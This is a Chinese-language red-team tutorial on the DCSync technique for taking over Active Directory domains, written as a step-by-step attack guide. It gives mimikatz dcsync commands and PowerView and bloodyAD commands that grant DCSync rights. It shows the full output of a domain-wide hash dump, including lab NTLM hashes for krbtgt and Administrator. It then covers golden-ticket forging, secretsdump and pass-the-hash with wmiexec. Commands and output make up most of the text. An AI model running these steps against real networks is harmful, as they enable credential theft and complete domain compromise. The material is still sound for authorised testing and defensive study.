DCSync
DCSync
DCSync技术简介
在域中,不同的DC之间,每隔15分钟会进行一次域数据的同步。当一个DC(辅助DC)想从其他DC(主DC)获取数据时,辅助DC会向主DC发起一个GetNCChanges请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。
在DCSync功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。2015年8月,新版的mimikatz增加了DCSync的功能,该功能可以模仿一个域控DC,从真实的域控中请求数据,如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据。一般用来做权限维持
krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。
黄金票据(Golden Ticket):简单来说,它能让黑客在拥有普通域用户权限和krbtgt hash的情况下,获取域管理员权限。
dcsync:mimikatz中的功能,可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。
崔神:可以简单理解为dump ntds.dit文件的手段之一
DCSync利用条件
在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这三条DACL分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
默认以下用户存在该权限
DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户 企业管理员
域控制器的计算机/机器帐户
默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的
DCSync利用
0x01 Mimikatz DCSync dump hash
域管权限
log
privilege::debug
lsadump::dcsync /domain:sun.com /user:administrator
lsadump::dcsync /domain:sun.com /user:administrator /csv
lsadump::dcsync /domain:sun.com /all /csv
主要注意机器/域管账号/exchange机器账户/krbtgt
域内高权限账户可以直接通过secretdump拉ntds,krbtgt可以直接做黄金票据
0x02 域内用户+添加ACL规则
PowerView添加DCSync权限
DCSync是向域用户写入两条ACL(授予域用户复制目录更改(DS-Replication-Get-Changes)和全部复制目录更改 (DS-Replication-Get-Changes-All)),我们可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限
Set-ExecutionPolicy Bypass -Scope Process
import-module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity saul -Rights DCSync -Verbose
Cmd shell执行
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=redteam,DC=red\" -PrincipalIdentity saul -Rights DCSync -Verbose}"
PowerView查询DCSync权限
Import-Module .\Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"} //返回较慢,没查出来
查询结果
PS C:\Users\Administrator\Desktop\tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replic
ation-Get-Changes"}
ObjectDN : DC=redteam,DC=red
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass : user
ObjectDN : DC=redteam,DC=red
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass : user
ObjectDN : DC=redteam,DC=red
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-All
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass : user
PowerView删除DCSync权限
powershell
Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity saul -Rights DCSync -Verbose
cmd shell
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"
Output:
PS C:\Users\Administrator\Desktop\tools> Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity s
aul -Rights DCSync -Verbose
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=REDTEAM,DC=RED
详细信息: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=saul)(name=saul)(displayname=saul))))
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=REDTEAM,DC=RED
详细信息: [Get-DomainObject] Extracted domain 'redteam.red' from 'DC=redteam,DC=red'
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=redteam,DC=red
详细信息: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=DC=redteam,DC=red)))
详细信息: [Remove-DomainObjectAcl] Removing principal CN=saul,CN=Users,DC=redteam,DC=red 'DCSync' from
DC=redteam,DC=red
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=redteam,DC=red
True
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=redteam,DC=red
True
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'89e95b76-444d-4c62-991a-0facbeda640c' on DC=redteam,DC=red
True
0x03 域内用户dump hash
如果拿到了域内用户的权限,则可以在域内直接使用mimikatz去dump域控hash,注意:这里不需要使用debug权限也可以去直接dump哈希的,因为DCSync去向域控发起请求,并非本地操作,为网络请求。具有DCSync权限,则可以直接连接域控dump哈希
mimikatz.exe "log dcsync.txt" "lsadump::dcsync /domain:redteam.red /all /csv " "exit"
Output:
C:\Users\saul\Desktop\tools\mimikatz_trunk\x64>mimikatz.exe "log dcsync.txt" "lsadump::dcsync /doma
in:redteam.red /all /csv " "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # log dcsync.txt
Using 'dcsync.txt' for logfile : OK
mimikatz(commandline) # lsadump::dcsync /domain:redteam.red /all /csv
[DC] 'redteam.red' will be the domain
[DC] 'owa.redteam.red' will be the DC server
[DC] Exporting domain 'redteam.red'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 4a67f14d5cc4fa22618c8b609e832db6 514
1125 mail 518b98ad4178a53695dc997aa02d455c 66048
1129 gu 82a28aff9a3be5385b87c4928b54a66f 66048
1130 apt404 ba0b26eb2595bc0a639d986537433e5d 66048
1128 saulgoodman c0e1f147edf7462134f07e389c5466e2 590336
1131 adduser 168df3659b5f75ab35645606839e5677 66048
1127 SQLSERVER-2008$ 8334b5a814513b5e9aef1ea6081af136 528384
1126 sqlserver 6a59bf65a4957ac67e5fb4e1c221939c 16843264
1000 OWA$ b35f876cd5f846ac274cca60e4e74d85 532480
500 Administrator e5658c402f518ea1f488c415e4c0a2d4 512
1135 saul 518b98ad4178a53695dc997aa02d455c 66048
1138 WORK-7$ bdf94c1eaa420bdfd6b5b082d3f1ec68 4096
mimikatz(commandline) # exit
Bye!
C:\Users\saul\Desktop\tools\mimikatz_trunk\x64>
0x04 后利用 dump ntds
可以直接拿域控机器用户dump ntds
secretsdump.exe -hashes :b35f876cd5f846ac274cca60e4e74d85 redteam.red/OWA$@10.10.10.8 > ntds.txt
0x05 后利用 GoldenTicket
之前的Mimikatz Log搜集以下信息
/domain:redteam.red
# Object Security Id 去掉最后的uid
/sid:S-1-5-21-1359007890-1682372173-1631803504
/aes256_hmac:67075a54cf9106904392e010bcd3caec5cc3d57d3c65b42065482ae53910ddbd
伪造一个存在的用户的票据才可以走kerberos,一般是域管
mimikatz.exe "kerberos::golden /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /aes256:67075a54cf9106904392e010bcd3caec5cc3d57d3c65b42065482ae53910ddbd /user:Administrator /ticket:goldadmin.kirbi"
导入黄金票据
# 导入
kerberos::ptt .\goldadmin.kirbi
检查票据存在,cmd中可以klist, mimikatz中如下:
# 列出本地票据
kerberos::list
# 清空票据
kerberos::purge
当前票据可以通过kerberos认证
dir \\owa\c$
此时因为伪造的域管票据,也可以直接dcsync拉hash,后续就直接pth拿到dc权限
pth
wmiexec.exe -hashes :e5658c402f518ea1f488c415e4c0a2d4 redteam.red/administrator@10.10.10.8
0x06 一些场景
当域内普通用户存在WriteDacl权限时,可以给自己写入DCSync的acl从而去接管整个域
# 通过PowerView查询指定用户是否存在WirteDacl权限
Get-DomainObjectAcl -Identity saul -domain redteam.red -ResolveGUIDs
Get-ObjectAcl -SamAccountName "saul" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
之后可以通过powerview给自己写入acl来获得DCSync权限
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=redteam,DC=red\" -PrincipalIdentity saul -Rights DCSync -Verbose}"
后续就是拉hash的操作了。
还有就是windows域默认可以运行以下组内用户登陆到域控中:
Enterprise Admins
Domain Admins
Administrators
Backup Operators
Account Operators
Print Operators
这意味着如果一个攻击者能够拿下以上组中的一个账户,整个活动目录就可能被攻陷,因为这些用户组有登陆到域控的权限。
那么只要拿到该组中的其中一个用户的账号密码,即可登录到域控上,但是要注意必须是提权到system权限才可以dcsync,原因在于windows的域控机器账号默认可以进行DCSync
BloodyAD使用
PowerView添加不上DCSync权限时使用BloodyAD
# 获取所有用户
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getChildObjects 'DC=redteam,DC=red' user
# 添加DCSync权限
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 setDCSync saul
# 查看机器属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户,刚创建时默认是10
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes 'DC=redteam,DC=red' ms-DS-MachineAccountQuota
# 获取组成员
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes Users member
# 获取最小密码长度策略
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes 'DC=redteam,DC=red' minPwdLength
Exchange 能接管整个域也是因为机器用户本身也具有DCSync权限,所以说打下了exchange就相当于接管了整个域
域内一般ip走NTLM 机器名走kerberos
Reference
https://forum.butian.net/share/1583
yydcs